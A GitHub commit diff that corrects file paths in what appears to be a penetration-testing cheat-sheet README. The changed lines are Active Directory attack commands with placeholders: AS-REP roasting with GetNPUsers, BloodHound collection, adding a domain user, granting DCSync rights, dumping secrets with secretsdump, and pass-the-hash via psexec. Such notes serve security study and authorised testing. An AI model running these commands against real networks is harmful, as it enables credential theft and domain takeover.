Update README.md

This commit is contained in:
Joe Totes
2022-09-05 21:42:59 -04:00
committed by GitHub
parent c2a3840c04
commit d51a03b4e2

View File

@@ -664,9 +664,9 @@ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -request {DOMAIN1
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py {DOMAIN1}.{DOMAIN2}/ -dc-ip {IP ADDRESS} -usersfile {USER.txt} -format john
# Bloodhound
sudo ./usr/bin/neo4j console # LHOST
./opt/bloodhound/resources/app/Collectors/SharpHound.exe -c all # RHOST
./opt/bloodhound/BloodHound --no-sandbox # LHOST
sudo /usr/bin/neo4j console # LHOST
/opt/bloodhound/resources/app/Collectors/SharpHound.exe -c all # RHOST
/opt/bloodhound/BloodHound --no-sandbox # LHOST
# Add user
net user {USERNAME} {PASSWORD} /add /domain
@@ -680,7 +680,7 @@ $cred = New-Object System.Management.Automation.PSCredential('{DOMAIN}\{USERNAME
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC={DOMAIN1},DC={DOMAIN2}" -PrincipalIdentity {USERNAME} -Rights DCSync
# Dump secrets
sudo python3 ./usr/share/doc/python3-impacket/examples/secretsdump.py '{DOMAIN}/{USERNAME}':'{PASSWORD}'@{IP ADDRESS}
sudo python3 /usr/share/doc/python3-impacket/examples/secretsdump.py '{DOMAIN}/{USERNAME}':'{PASSWORD}'@{IP ADDRESS}
# PSEXEC
sudo python3 psexec.py -hashes {HASH1:HASH2} {USERNAME}@{IP ADDRESS}